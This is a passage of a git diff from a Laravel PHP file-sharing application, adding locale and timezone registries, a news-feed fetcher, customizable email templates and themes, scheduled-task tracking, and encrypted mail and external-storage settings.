$this->settings->get(Setting::EnabledLocales); + + $enabled = is_array($enabled) + ? array_filter($enabled, is_string(...)) + : []; + + return array_values(array_filter( + $this->installed(), + fn (string $locale): bool => $locale === 'en' || in_array($locale, $enabled, true), + )); + } + + public function isEnabled(string $locale): bool + { + return in_array($locale, $this->enabled(), true); + } + + /** + * The language to fall back on when the visitor has expressed no + * usable preference of their own. + * + * Never returns something the switcher does not offer: a default that + * was later switched off, or an APP_LOCALE nobody enabled, degrades to + * English rather than stranding every visitor in a language the + * interface will not let them leave. + */ + public function defaultLocale(): string + { + $configured = $this->settings->get(Setting::DefaultLocale); + + // Empty means the operator has never chosen one here, so the + // environment still has the say it always had. + if (! is_string($configured) || $configured === '') { + $configured = (string) config('app.locale'); + } + + return $this->isEnabled($configured) ? $configured : 'en'; + } + + /** + * The enabled locales with the default first, for + * Request::getPreferredLanguage(): handed a list, it returns the head + * when the Accept-Language header matches nothing, so the ordering + * *is* how the default gets applied. + * + * @return list + */ + public function preferenceOrder(): array + { + $default = $this->defaultLocale(); + + return [$default, ...array_values(array_diff($this->enabled(), [$default]))]; + } +} diff --git a/app/Modules/Platform/Localization/TimezoneRegistry.php b/app/Modules/Platform/Localization/TimezoneRegistry.php new file mode 100644 index 00000000..d40444cc --- /dev/null +++ b/app/Modules/Platform/Localization/TimezoneRegistry.php @@ -0,0 +1,137 @@ +|null + */ + private ?array $identifiers = null; + + public function __construct( + private readonly Settings $settings, + ) {} + + /** + * Every zone this PHP build knows, including UTC itself. + * + * Deliberately not filtered down to the ten continent groups the way + * v1's picker was: v1 could not offer `UTC` in its own dropdown, so an + * install seeded with it had a value it was unable to re-select. The + * grouping that list was reaching for belongs to the picker, and lives + * in grouped() below. + * + * @return list + */ + public function all(): array + { + return $this->identifiers ??= DateTimeZone::listIdentifiers(); + } + + public function isValid(string $timezone): bool + { + return in_array($timezone, $this->all(), true); + } + + /** + * The zone to fall back on when the viewer has expressed no usable + * preference of their own — and the only zone anonymous visitors ever + * see. + */ + public function default(): string + { + $configured = $this->settings->get(Setting::Timezone); + + // Empty means the operator has never chosen one here, so the + // environment still has the say it always had. + if (! is_string($configured) || $configured === '') { + $configured = (string) config('app.timezone'); + } + + return $this->isValid($configured) ? $configured : 'UTC'; + } + + public function resolve(?User $user): string + { + $preference = $user?->timezone; + + return is_string($preference) && $this->isValid($preference) + ? $preference + : $this->default(); + } + + /** + * The identifier list shaped for the picker, sorted, each carrying + * the offset it is on *today*. + * + * The label keeps the region in it ("Europe / Madrid") rather than + * splitting the list into region groups. The picker searches labels, + * so this is what lets someone type either "Europe" or "Madrid" and + * get there; grouping would have hidden the region from the one box + * they are typing into. + * + * The offset is computed rather than stored because it is not a + * property of the zone — half the world moves twice a year, so + * "Europe/Madrid is UTC+01:00" is true in January and wrong in July. + * Recomputing per request keeps the hint honest and costs nothing + * next to the page it is rendered on. + * + * @return list + */ + public function options(): array + { + $now = new \DateTimeImmutable('now'); + + return array_map(fn (string $identifier): array => [ + 'value' => $identifier, + 'label' => str_replace(['/', '_'], [' / ', ' '], $identifier), + 'offset' => $this->offsetLabel($identifier, $now), + ], $this->all()); + } + + /** + * "UTC-03:00" — a plain ASCII hyphen, not a minus sign, so the string + * survives a copy-paste into a search box. + */ + private function offsetLabel(string $identifier, \DateTimeImmutable $at): string + { + $seconds = (new DateTimeZone($identifier))->getOffset($at); + $sign = $seconds < 0 ? '-' : '+'; + $seconds = abs($seconds); + + return sprintf('UTC%s%02d:%02d', $sign, intdiv($seconds, 3600), intdiv($seconds % 3600, 60)); + } +} diff --git a/app/Modules/Platform/News/Console/FetchNewsCommand.php b/app/Modules/Platform/News/Console/FetchNewsCommand.php new file mode 100644 index 00000000..68e54fe9 --- /dev/null +++ b/app/Modules/Platform/News/Console/FetchNewsCommand.php @@ -0,0 +1,126 @@ + 'ProjectSend']) + ->timeout(10) + ->get(self::FEED_URL); + + if (! $response->successful()) { + $this->warn('Could not reach the news feed.'); + + return self::FAILURE; + } + + $raw = $response->json(); + + if (! is_array($raw)) { + $this->warn('News feed response was not a JSON array — skipping.'); + + return self::SUCCESS; + } + + $items = collect($raw) + ->map(fn (mixed $entry): ?array => $this->normalize($entry)) + ->filter() + ->sortByDesc('date') + ->take(self::MAX_ITEMS) + ->values() + ->all(); + + $this->settings->set(Setting::NewsItems, $items); + $this->settings->set(Setting::NewsLastFetchedAt, now()->toIso8601String()); + + $this->info('Fetched '.count($items).' news item(s).'); + + return self::SUCCESS; + } + + /** + * @return array{title: string, date: string, content: string, link: string}|null + */ + private function normalize(mixed $entry): ?array + { + if (! is_array($entry)) { + return null; + } + + $title = $entry['title'] ?? null; + $date = $entry['date'] ?? null; + $content = $entry['content'] ?? null; + $link = $entry['link'] ?? null; + + if (! is_string($title) || ! is_string($date) || ! is_string($content) || ! is_string($link)) { + return null; + } + + try { + $parsed = Carbon::createFromFormat('d-m-Y', $date); + } catch (\Throwable) { + $parsed = false; + } + + if (! $parsed instanceof Carbon) { + return null; + } + + // Plain Y-m-d, not a full timestamp — matches the dashboard's + // existing shortDate() helper, which appends its own T00:00:00 + // (same convention as the Transfers chart's date points). + $parsedDate = $parsed->toDateString(); + + // The feed separates paragraphs with raw \r\n, not

tags — + // convert to
(already allowlisted) before purifying, or + // they'd collapse into one run-on blob once rendered as HTML. + $cleaned = Purify::config(['HTML.Allowed' => self::ALLOWED_HTML])->clean(nl2br($content)); + + return [ + // The feed HTML-encodes title (e.g. "’") even though + // it's rendered as plain JSX text on the dashboard, not HTML — + // decode here so it displays as a real apostrophe instead of + // the literal entity string. + 'title' => html_entity_decode($title, ENT_QUOTES | ENT_HTML5), + 'date' => $parsedDate, + 'content' => is_string($cleaned) ? $cleaned : '', + 'link' => $link, + ]; + } +} diff --git a/app/Modules/Platform/News/NewsItems.php b/app/Modules/Platform/News/NewsItems.php new file mode 100644 index 00000000..5ac2831d --- /dev/null +++ b/app/Modules/Platform/News/NewsItems.php @@ -0,0 +1,43 @@ + + */ + public function current(): array + { + $items = $this->settings->get(Setting::NewsItems); + + if (! is_array($items)) { + return []; + } + + return array_values(array_filter( + $items, + fn (mixed $item): bool => is_array($item) + && is_string($item['title'] ?? null) + && is_string($item['date'] ?? null) + && is_string($item['content'] ?? null) + && is_string($item['link'] ?? null), + )); + } +} diff --git a/app/Modules/Platform/Notifications/Concerns/RendersOverridableMail.php b/app/Modules/Platform/Notifications/Concerns/RendersOverridableMail.php new file mode 100644 index 00000000..0e1144ed --- /dev/null +++ b/app/Modules/Platform/Notifications/Concerns/RendersOverridableMail.php @@ -0,0 +1,44 @@ +resolve($slot); + } + + /** + * @param array{subject: string, body: string} $override + * @param array $replacements + */ + protected function mailFromOverride(array $override, array $replacements): MailMessage + { + $message = (new MailMessage)->subject(strtr($override['subject'], $replacements)); + + foreach (explode("\n\n", trim($override['body'])) as $paragraph) { + if ($paragraph !== '') { + $message->line(strtr($paragraph, $replacements)); + } + } + + return $message; + } +} diff --git a/app/Modules/Platform/Notifications/EmailTemplate.php b/app/Modules/Platform/Notifications/EmailTemplate.php new file mode 100644 index 00000000..eda9ceb4 --- /dev/null +++ b/app/Modules/Platform/Notifications/EmailTemplate.php @@ -0,0 +1,28 @@ +all()[$slot->value] ?? null; + } + + public function flush(): void + { + Cache::forget(self::CACHE_KEY); + } + + /** + * @return array + */ + private function all(): array + { + return Cache::rememberForever(self::CACHE_KEY, function (): array { + if (! Schema::hasTable('email_templates')) { + return []; + } + + return EmailTemplate::query()->get() + ->mapWithKeys(fn (EmailTemplate $template): array => [ + $template->slot => ['subject' => $template->subject, 'body' => $template->body], + ]) + ->all(); + }); + } +} diff --git a/app/Modules/Platform/Notifications/EmailTemplateSlot.php b/app/Modules/Platform/Notifications/EmailTemplateSlot.php new file mode 100644 index 00000000..92b2dc1a --- /dev/null +++ b/app/Modules/Platform/Notifications/EmailTemplateSlot.php @@ -0,0 +1,130 @@ + 'File shared with a client', + self::FolderShared => 'Folder shared with a client', + self::FileShareDigest => 'Multiple files/folders shared at once (digest)', + self::ClientAccountApproved => 'Client account approved', + self::ClientAccountDenied => 'Client account denied', + self::ClientWelcome => 'Client welcome (staff-created account)', + self::ClientAccountEdited => 'Client account edited', + self::AdminClientRegistered => 'Admin: new client registered', + self::AdminClientUploaded => 'Admin: client uploaded a file', + self::GroupMembershipRequested => 'Admin: group membership requested', + self::GroupMembershipApproved => 'Group membership approved', + self::GroupMembershipDenied => 'Group membership denied', + self::CommentPosted => 'New comment on a file', + self::CommentDigest => 'Multiple new comments (digest)', + self::PasswordReset => 'Password reset', + self::TwoFactorReset => 'Two-factor authentication removed by an admin', + }; + } + + public function defaultSubject(): string + { + return match ($this) { + self::FileShared => 'A file has been shared with you', + self::FolderShared => 'A folder has been shared with you', + self::FileShareDigest => ':count items have been shared with you', + self::CommentPosted => 'New comment on ":name"', + self::CommentDigest => ':count new comments', + self::ClientAccountApproved => 'Your account has been approved', + self::ClientAccountDenied => 'Your account request was denied', + self::ClientWelcome => 'Welcome', + self::ClientAccountEdited => 'Your account was updated', + self::AdminClientRegistered => 'A new client has registered', + self::AdminClientUploaded => 'A client uploaded a file', + self::GroupMembershipRequested => 'A client requested to join a group', + self::GroupMembershipApproved => 'Your group membership request was approved', + self::GroupMembershipDenied => 'Your group membership request was denied', + self::PasswordReset => 'Reset Password Notification', + self::TwoFactorReset => 'Two-factor authentication was removed from your account', + }; + } + + public function defaultBody(): string + { + return match ($this) { + self::FileShared => 'The file ":name" has been shared with you.', + self::FolderShared => 'The folder ":name" has been shared with you.', + self::FileShareDigest => 'The following :count items have been shared with you:', + self::CommentPosted => ':author commented on ":name".', + self::CommentDigest => 'There are :count new comments for you:', + self::ClientAccountApproved => 'Your account request has been approved. You can now log in.', + self::ClientAccountDenied => "Hello :name,\n\nYour account request has been denied.", + self::ClientWelcome => 'An account has been created for you. You can log in now.', + self::ClientAccountEdited => 'Your account details were recently changed by an administrator. Contact your administrator if this was not expected.', + self::AdminClientRegistered => 'A new client account was created: :name (:email).', + self::AdminClientUploaded => 'The file ":file" was uploaded by :client.', + self::GroupMembershipRequested => 'New membership request from :client for the group ":group".', + self::GroupMembershipApproved => 'Your request to join the group ":group" has been approved.', + self::GroupMembershipDenied => 'Your request to join the group ":group" has been denied.', + self::PasswordReset => "You are receiving this email because we received a password reset request for your account.\n\nThis password reset link will expire in :count minutes.\n\nIf you did not request a password reset, no further action is required.", + self::TwoFactorReset => 'An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.', + }; + } + + /** + * @return array + */ + public function placeholders(): array + { + return match ($this) { + self::FileShared, self::FolderShared => ['name' => 'The file or folder name'], + self::FileShareDigest => ['count' => 'How many files/folders were shared at once'], + self::CommentPosted => ['name' => 'The file name', 'author' => "The commenter's name"], + // The list of files is appended after the body, like the share + // digest's — never part of the customizable text. + self::CommentDigest => ['count' => 'How many new comments there are'], + self::ClientAccountApproved, self::ClientWelcome, self::ClientAccountEdited => [], + self::ClientAccountDenied => ['name' => "The client's name"], + self::AdminClientRegistered => ['name' => "The client's name", 'email' => "The client's email address"], + self::AdminClientUploaded => ['file' => 'The file name', 'client' => "The uploading client's name"], + self::GroupMembershipRequested => ['client' => "The client's name", 'group' => 'The group name'], + self::GroupMembershipApproved, self::GroupMembershipDenied => ['group' => 'The group name'], + self::PasswordReset => ['count' => 'Minutes until the reset link expires'], + self::TwoFactorReset => [], + }; + } +} diff --git a/app/Modules/Platform/Notifications/TestEmailNotification.php b/app/Modules/Platform/Notifications/TestEmailNotification.php new file mode 100644 index 00000000..59bc613d --- /dev/null +++ b/app/Modules/Platform/Notifications/TestEmailNotification.php @@ -0,0 +1,40 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $siteName = app(Settings::class)->get(Setting::SiteName); + $siteName = is_string($siteName) ? $siteName : 'ProjectSend'; + + return (new MailMessage) + ->subject(__('Test email from :site', ['site' => $siteName])) + ->line(__('This is a test email from :site.', ['site' => $siteName])) + ->line(__('If you received this, your email configuration is working.')); + } +} diff --git a/app/Modules/Platform/Notifications/ThemedMailChannel.php b/app/Modules/Platform/Notifications/ThemedMailChannel.php new file mode 100644 index 00000000..ba280409 --- /dev/null +++ b/app/Modules/Platform/Notifications/ThemedMailChannel.php @@ -0,0 +1,49 @@ +theme ?? app(EmailThemeService::class)->currentThemeKey(); + $context = app(EmailThemeRegistry::class)->get($theme)?->context; + + View::share('mail_theme', $theme); + View::share('mail_theme_context', $context !== null ? $context() : []); + View::share('mail_attribution', app(Attribution::class)->visible()); + + return $this->markdown->theme($theme); + } +} diff --git a/app/Modules/Platform/PlatformServiceProvider.php b/app/Modules/Platform/PlatformServiceProvider.php new file mode 100644 index 00000000..d409c8cc --- /dev/null +++ b/app/Modules/Platform/PlatformServiceProvider.php @@ -0,0 +1,154 @@ +app->singleton(LocaleRegistry::class); + $this->app->singleton(TimezoneRegistry::class); + + $this->app->singleton(Settings::class); + + // Singletons: themes register into these once per process (here, + // and from the private cloud-modules package's ThemesServiceProvider + // when installed) — a fresh instance per resolution would lose + // whatever an earlier provider's boot() already registered. + $this->app->singleton(PublicThemeRegistry::class); + $this->app->singleton(EmailThemeRegistry::class); + + // Not a singleton: `PROJECTSEND_EDITION` never changes within a + // running process (a real deployment recreates the container to + // switch editions), so re-reading config() on each resolution costs + // nothing there — but MailConfigApplier::apply() now resolves this + // during boot() below on every request, and a cached singleton + // instance would permanently bake in whatever edition was active at + // the first boot, making tests' config()->set('projectsend.edition', + // ...) (the established pattern — see EnsureCapabilityMiddlewareTest) + // silently no-op for the rest of that test. + $this->app->bind(CapabilityRegistry::class, function (): CapabilityRegistry { + $edition = config('projectsend.edition'); + + return new CapabilityRegistry( + $edition instanceof Edition ? $edition : Edition::from($edition), + ); + }); + + // Every notification's mail rendering funnels through MailChannel — + // rebinding it is how Setting::EmailTheme reaches all of them + // without touching each Notification class individually. + $this->app->bind(MailChannel::class, ThemedMailChannel::class); + + if ($this->app->runningInConsole()) { + $this->commands([ + GenerateThemePreviewDataCommand::class, + CheckForUpdatesCommand::class, + FetchNewsCommand::class, + DisableCaptchaCommand::class, + TestCaptchaCommand::class, + ]); + } + } + + public function boot(): void + { + // Every process boot (a web request, or a freshly (re)started + // queue worker) picks up the admin-configured mail provider, if + // any — a no-op until the Email settings page is actually saved. + $this->app->make(MailConfigApplier::class)->apply(); + + // Same idea for the admin-configured external storage backend — + // a no-op until the Storage settings page is actually saved. The + // listener is what actually redirects new uploads away from the + // local 'files' disk (see ResolvingUploadDisk's docblock). + $this->app->make(ExternalStorageConfigApplier::class)->apply(); + Event::listen(ResolvingUploadDisk::class, [ExternalStorageConfigApplier::class, 'resolveDisk']); + + // Community-only observability (Capability::SchedulerMonitoring) — + // registered unconditionally since it's cheap and inert either way; + // the settings page/route reading these rows is what's actually + // capability-gated. + Event::listen(ScheduledTaskFinished::class, [RecordsScheduledTaskRuns::class, 'onFinished']); + Event::listen(ScheduledTaskFailed::class, [RecordsScheduledTaskRuns::class, 'onFailed']); + + // In-app only — this is an internal "go check the dashboard" + // nudge, not a mail-worthy event on its own; the dashboard's + // System card is where the real external release link and + // upgrade instructions live. url points at the dashboard rather + // than the GitHub release page itself: notification clicks go + // through Inertia's router.visit(), which isn't safe for a + // cross-origin URL. + $this->app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'update_available', + label: 'A new ProjectSend version is available', + template: 'ProjectSend :latestVersion is available (you have :currentVersion)', + url: fn (array $data) => route('dashboard'), + )); + + // Core's free themes — available in every edition, gated by + // nothing. A genuinely edition-exclusive theme would instead + // register into these same singletons from a private package's + // own ThemesServiceProvider (cloud-modules or community-modules, + // whichever edition it's exclusive to), when installed — order + // between core and a package doesn't matter, they register + // distinct keys. `gallery`/`branded` lived in community-modules + // briefly (2026-07-31) under the mistaken assumption they were + // community-exclusive; they're free-for-everyone, so they belong + // here instead, not gated behind either package. + $publicThemes = $this->app->make(PublicThemeRegistry::class); + $publicThemes->register('default', 'Default', __('A clean, neutral layout that works well for any kind of file sharing.')); + $publicThemes->register('compact', 'Compact', __('A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.')); + $publicThemes->register('drive', 'Drive', __('A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.')); + $publicThemes->register('gallery', 'Gallery', __('A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.')); + + $emailThemes = $this->app->make(EmailThemeRegistry::class); + $emailThemes->register('default', 'Default', __("ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.")); + $emailThemes->register('minimal', 'Minimal', __('A stripped-down, understated design with no extra styling — pairs with the Compact look.')); + // Same key as the public/portal 'drive' theme above — every + // theme should ship as a matched pair across both surfaces (see + // ThemeRegistry's docblock), so a tenant that picks one "look" + // gets it consistently everywhere, not a mismatched public site + // and inbox. + $emailThemes->register('drive', 'Drive', __('Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.')); + // Paired with 'gallery' above (mismatched key names predate the + // same-key convention, see ThemeRegistry's docblock). No custom + // logo integration — just the stock ProjectSend mark; Cloud's + // Branding module (private cloud-modules package) is a + // completely separate, edition-exclusive feature. + $emailThemes->register( + 'branded', + 'Branded', + __('A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.'), + null, + fn (): array => ['logo_url' => asset('apple-touch-icon.png')], + ); + } +} diff --git a/app/Modules/Platform/Scheduling/RecordsScheduledTaskRuns.php b/app/Modules/Platform/Scheduling/RecordsScheduledTaskRuns.php new file mode 100644 index 00000000..8ca5ae39 --- /dev/null +++ b/app/Modules/Platform/Scheduling/RecordsScheduledTaskRuns.php @@ -0,0 +1,51 @@ +record($event->task, TaskRunStatus::Success, null, (int) round($event->runtime * 1000)); + } + + public function onFailed(ScheduledTaskFailed $event): void + { + $this->record($event->task, TaskRunStatus::Failed, $event->exception->getMessage(), null); + } + + private function record(ScheduledEvent $task, TaskRunStatus $status, ?string $message, ?int $durationMs): void + { + // $task->command is the full shelled-out string (php binary, + // artisan path, output redirection) — pull out just the artisan + // signature. Anything that isn't one of our own commands (there + // are none today, but a future package could schedule its own) is + // simply not tracked here. + if (! preg_match('/projectsend:[\w-]+/', (string) $task->command, $matches)) { + return; + } + + ScheduledTaskRun::query()->updateOrCreate( + ['command' => $matches[0]], + ['status' => $status, 'message' => $message, 'duration_ms' => $durationMs, 'ran_at' => now()], + ); + } +} diff --git a/app/Modules/Platform/Scheduling/ScheduledTaskRun.php b/app/Modules/Platform/Scheduling/ScheduledTaskRun.php new file mode 100644 index 00000000..81e7a467 --- /dev/null +++ b/app/Modules/Platform/Scheduling/ScheduledTaskRun.php @@ -0,0 +1,35 @@ + TaskRunStatus::class, + 'ran_at' => 'datetime', + ]; + } +} diff --git a/app/Modules/Platform/Scheduling/TaskRunStatus.php b/app/Modules/Platform/Scheduling/TaskRunStatus.php new file mode 100644 index 00000000..2afb641a --- /dev/null +++ b/app/Modules/Platform/Scheduling/TaskRunStatus.php @@ -0,0 +1,11 @@ + + * + * @param Closure(): TValue $read Reads the real value from the database. + * @param TValue $whenUnavailable Returned as-is when the database cannot answer. + * @return TValue + */ + public static function rememberForever(string $key, Closure $read, array $whenUnavailable): array + { + try { + return Cache::rememberForever($key, $read); + } catch (PDOException $e) { + // QueryException extends PDOException, so this covers both a + // missing table and a connection that could not be opened. + self::warnOnce($key, $e); + + return $whenUnavailable; + } + } + + /** + * Once per process: an install that has not been migrated yet would + * otherwise log this on every artisan command, and a genuine database + * outage would log it on every request. + */ + private static function warnOnce(string $key, PDOException $e): void + { + if (self::$warned) { + return; + } + + self::$warned = true; + + Log::warning('Falling back to default settings: the database could not be read during boot.', [ + 'key' => $key, + 'reason' => $e->getMessage(), + ]); + } +} diff --git a/app/Modules/Platform/Settings/ExternalStorageConfigApplier.php b/app/Modules/Platform/Settings/ExternalStorageConfigApplier.php new file mode 100644 index 00000000..ec9d1024 --- /dev/null +++ b/app/Modules/Platform/Settings/ExternalStorageConfigApplier.php @@ -0,0 +1,139 @@ +isActive()) { + return; + } + + $resolved = $this->resolve(); + + Config::set('filesystems.disks.files_external.key', $resolved['key']); + Config::set('filesystems.disks.files_external.secret', $resolved['secret']); + Config::set('filesystems.disks.files_external.region', $resolved['region']); + Config::set('filesystems.disks.files_external.bucket', $resolved['bucket']); + Config::set('filesystems.disks.files_external.endpoint', $resolved['endpoint']); + Config::set('filesystems.disks.files_external.use_path_style_endpoint', $resolved['use_path_style']); + + if ($resolved['root'] !== null) { + Config::set('filesystems.disks.files_external.root', $resolved['root']); + } + } + + public function flush(): void + { + Cache::forget(self::CACHE_KEY); + } + + public function resolveDisk(ResolvingUploadDisk $event): void + { + if ($this->isActive()) { + $event->disk = 'files_external'; + } + } + + /** + * Whether 'files_external' is both fully configured (the DB row) and + * permitted (the edition's capability) — the single live check every + * caller in this class needs, kept in one place. Deliberately + * uncached (see class docblock) so an edition change or a capability + * flip is never one process-boot stale. + */ + public function isActive(): bool + { + return $this->resolve()['configured'] && $this->capabilities->has(Capability::StorageConfigure); + } + + /** + * Deliberately edition-independent: whether the DB row itself is fully + * filled in and active, nothing more. Callers AND the capability check + * live and uncached — see class docblock. + * + * @return array{configured: bool, key: string|null, secret: string|null, region: string|null, bucket: string|null, endpoint: string|null, use_path_style: bool, root: string|null} + */ + private function resolve(): array + { + $blank = [ + 'configured' => false, + 'key' => null, 'secret' => null, 'region' => null, 'bucket' => null, + 'endpoint' => null, 'use_path_style' => false, 'root' => null, + ]; + + // Through BootSettingsCache, not Cache directly: this runs on every + // process boot, including the artisan commands that install the + // application, and must survive a database that has no tables yet + // (or none at all). See that class for the full story. + return BootSettingsCache::rememberForever(self::CACHE_KEY, function () use ($blank): array { + if (! Schema::hasTable('external_storage_settings')) { + return $blank; + } + + $settings = ExternalStorageSettings::current(); + + if (! $settings->isConfigured()) { + return $blank; + } + + return [ + 'configured' => true, + 'key' => $settings->key, + 'secret' => $settings->secret, + 'region' => $settings->region, + 'bucket' => $settings->bucket, + 'endpoint' => $settings->endpoint, + 'use_path_style' => $settings->use_path_style, + 'root' => $settings->root, + ]; + }, $blank); + } +} diff --git a/app/Modules/Platform/Settings/ExternalStorageSettings.php b/app/Modules/Platform/Settings/ExternalStorageSettings.php new file mode 100644 index 00000000..2d0a4a0d --- /dev/null +++ b/app/Modules/Platform/Settings/ExternalStorageSettings.php @@ -0,0 +1,67 @@ + 'boolean', + 'secret' => 'encrypted', + 'use_path_style' => 'boolean', + ]; + } + + public static function current(): self + { + return static::query()->firstOrNew([]); + } + + /** + * Active isn't enough on its own — an admin could flip the toggle + * before ever filling in real credentials (a blank bucket/key would + * silently misroute every new upload to a broken disk). + */ + public function isConfigured(): bool + { + return $this->active + && $this->key !== null && $this->key !== '' + && $this->secret !== null && $this->secret !== '' + && $this->bucket !== null && $this->bucket !== ''; + } +} diff --git a/app/Modules/Platform/Settings/MailConfigApplier.php b/app/Modules/Platform/Settings/MailConfigApplier.php new file mode 100644 index 00000000..89fc9783 --- /dev/null +++ b/app/Modules/Platform/Settings/MailConfigApplier.php @@ -0,0 +1,107 @@ +resolve(); + + if ($resolved['transport_configured'] && $this->capabilities->has(Capability::EmailTransportConfigure)) { + Config::set('mail.default', 'smtp'); + Config::set('mail.mailers.smtp.host', $resolved['host']); + Config::set('mail.mailers.smtp.port', $resolved['port']); + Config::set('mail.mailers.smtp.username', $resolved['username']); + Config::set('mail.mailers.smtp.password', $resolved['password']); + Config::set('mail.mailers.smtp.encryption', $resolved['encryption']); + } + + if ($resolved['from_address'] !== null) { + Config::set('mail.from.address', $resolved['from_address']); + } + + if ($resolved['from_name'] !== null) { + Config::set('mail.from.name', $resolved['from_name']); + } + } + + public function flush(): void + { + Cache::forget(self::CACHE_KEY); + } + + /** + * @return array{transport_configured: bool, host: string|null, port: int|null, username: string|null, password: string|null, encryption: string|null, from_address: string|null, from_name: string|null} + */ + private function resolve(): array + { + $blank = [ + 'transport_configured' => false, + 'host' => null, 'port' => null, 'username' => null, 'password' => null, 'encryption' => null, + 'from_address' => null, 'from_name' => null, + ]; + + // Through BootSettingsCache, not Cache directly: this runs on every + // process boot, including the artisan commands that install the + // application, and must survive a database that has no tables yet + // (or none at all). See that class for the full story. + return BootSettingsCache::rememberForever(self::CACHE_KEY, function () use ($blank): array { + if (! Schema::hasTable('mail_provider_settings')) { + return $blank; + } + + $settings = MailProviderSettings::current(); + $hasHost = $settings->host !== null && $settings->host !== ''; + + return [ + 'transport_configured' => $hasHost, + 'host' => $settings->host, + 'port' => $settings->port, + 'username' => $settings->username, + 'password' => $settings->password, + 'encryption' => $settings->encryption === 'none' ? null : $settings->encryption, + 'from_address' => $settings->from_address, + 'from_name' => $settings->from_name, + ]; + }, $blank); + } +} diff --git a/app/Modules/Platform/Settings/MailProvider.php b/app/Modules/Platform/Settings/MailProvider.php new file mode 100644 index 00000000..c2fc8bd1 --- /dev/null +++ b/app/Modules/Platform/Settings/MailProvider.php @@ -0,0 +1,50 @@ + 'Custom SMTP', + self::SendGrid => 'SendGrid', + self::Mailgun => 'Mailgun', + self::Postmark => 'Postmark', + self::AmazonSes => 'Amazon SES', + }; + } + + public function defaultHost(): ?string + { + return match ($this) { + self::Custom => null, + self::SendGrid => 'smtp.sendgrid.net', + self::Mailgun => 'smtp.mailgun.org', + self::Postmark => 'smtp.postmarkapp.com', + self::AmazonSes => 'email-smtp.us-east-1.amazonaws.com', + }; + } + + public function defaultPort(): ?int + { + return match ($this) { + self::Custom => null, + self::SendGrid, self::Mailgun, self::Postmark, self::AmazonSes => 587, + }; + } +} diff --git a/app/Modules/Platform/Settings/MailProviderSettings.php b/app/Modules/Platform/Settings/MailProviderSettings.php new file mode 100644 index 00000000..ce3a041c --- /dev/null +++ b/app/Modules/Platform/Settings/MailProviderSettings.php @@ -0,0 +1,63 @@ + 'custom', + 'encryption' => 'tls', + ]; + + protected $fillable = [ + 'provider', + 'host', + 'port', + 'username', + 'password', + 'encryption', + 'from_address', + 'from_name', + ]; + + protected function casts(): array + { + return [ + 'provider' => MailProvider::class, + 'port' => 'integer', + 'password' => 'encrypted', + ]; + } + + public static function current(): self + { + return static::query()->firstOrNew([]); + } +} diff --git a/app/Modules/Platform/Settings/Setting.php b/app/Modules/Platform/Settings/Setting.php new file mode 100644 index 00000000..ca708215 --- /dev/null +++ b/app/Modules/Platform/Settings/Setting.php @@ -0,0 +1,426 @@ + site-wide when true. + // v1 parity: privacy_noindex_site. + case DiscourageSearchIndexing = 'discourage_search_indexing'; + + // Toggles only the browsable *directory* (the front page listing + // every public group/file) — a specific public group's page and + // downloads work off its own `public` flag regardless of this + // setting, same as a share link isn't gated by any global toggle. + // v1 parity: the public_listing_* feature, rescoped to v2's + // group/file public flags instead of tokens. See PublicGroupsController. + case PublicListingEnabled = 'public_listing_enabled'; + + // The configurable base URL segment for the public listing (e.g. + // "public" -> /public, /public/{group-slug}). Consumed by + // PublicGroupsController's guard against every request's first path + // segment. + case PublicListingSlug = 'public_listing_slug'; + + // The active theme (a ThemeRegistry key) shared by the guest public + // pages and the client portal — one selection covers both, matching + // v1's single selected_clients_template. See PublicThemeRegistry. + case Theme = 'theme'; + + // The active theme for outgoing notification emails — a header/footer + // skin, independent of the per-notification subject/body editor + // (EmailTemplate). See EmailThemeRegistry. + case EmailTheme = 'email_theme'; + + // Which of the installed translation catalogues the language switcher + // actually offers. Installing a pack (dropping lang/{locale}.json in) + // makes a language *available*; this makes it *offered*, so an + // operator can run an English-and-Spanish site without the other + // fourteen catalogues showing up on their clients' screens. English + // is always offered whatever this says — it is the translation key, + // not a catalogue. See LocaleRegistry. + case EnabledLocales = 'enabled_locales'; + + // The language everyone starts in — the last word after a signed-in + // person's own preference and the browser's Accept-Language header, + // and therefore what an anonymous visitor with no matching header + // actually sees. English is only the default because it is the + // default default; an operator whose clients are all Spanish should + // not have to make each of them switch. Empty means "whatever + // APP_LOCALE says", so an existing install that set the environment + // variable keeps working until someone chooses here. Always resolved + // through LocaleRegistry::defaultLocale(), which refuses to hand back + // a language that is not enabled. + case DefaultLocale = 'default_locale'; + + // The clock everyone reads the application by — v1 parity: its + // `timezone` option. Unlike v1, nothing here calls + // date_default_timezone_set(): storage and computation stay UTC and + // this is applied only where a date is shown or a calendar day is + // asked for. That is what makes it safe for a signed-in user to + // override it with their own (users.timezone) without any two + // viewers disagreeing about what is actually stored. + // + // Empty means "whatever APP_TIMEZONE says", exactly like + // DefaultLocale above — an install that set the environment variable + // keeps working until someone chooses here. Always resolved through + // TimezoneRegistry, which refuses to hand back an identifier tzdata + // no longer knows. + case Timezone = 'timezone'; + + // Community-edition only (Capability::SystemUpdates) — self-hosted + // opt-out for the daily "is a newer version available" check. There + // is no in-app self-updater (see CheckForUpdatesCommand's docblock + // for why); this only controls whether the dashboard's System card + // is allowed to tell the admin a newer release exists. + case CheckForUpdates = 'check_for_updates'; + + // Cached result of the last update check — never written directly by + // a settings form, only by CheckForUpdatesCommand. Empty string means + // "no successful check yet" (fresh install, or checks disabled). + case LatestKnownVersion = 'latest_known_version'; + case LatestVersionCheckedAt = 'latest_version_checked_at'; + + // The rest of the cached release, for the "what's new" modal + // (LatestReleaseInfo) — title/notes/url/date of the GitHub release + // LatestKnownVersion came from. Notes is the release's raw Markdown + // body, rendered as plain text on the frontend (never as HTML — + // it's third-party content). + case LatestReleaseTitle = 'latest_release_title'; + case LatestReleaseNotes = 'latest_release_notes'; + case LatestReleaseUrl = 'latest_release_url'; + case LatestReleasePublishedAt = 'latest_release_published_at'; + + // Cached result of the last dashboard news feed fetch — never written + // directly by a settings form, only by FetchNewsCommand. Both editions + // see this (unlike 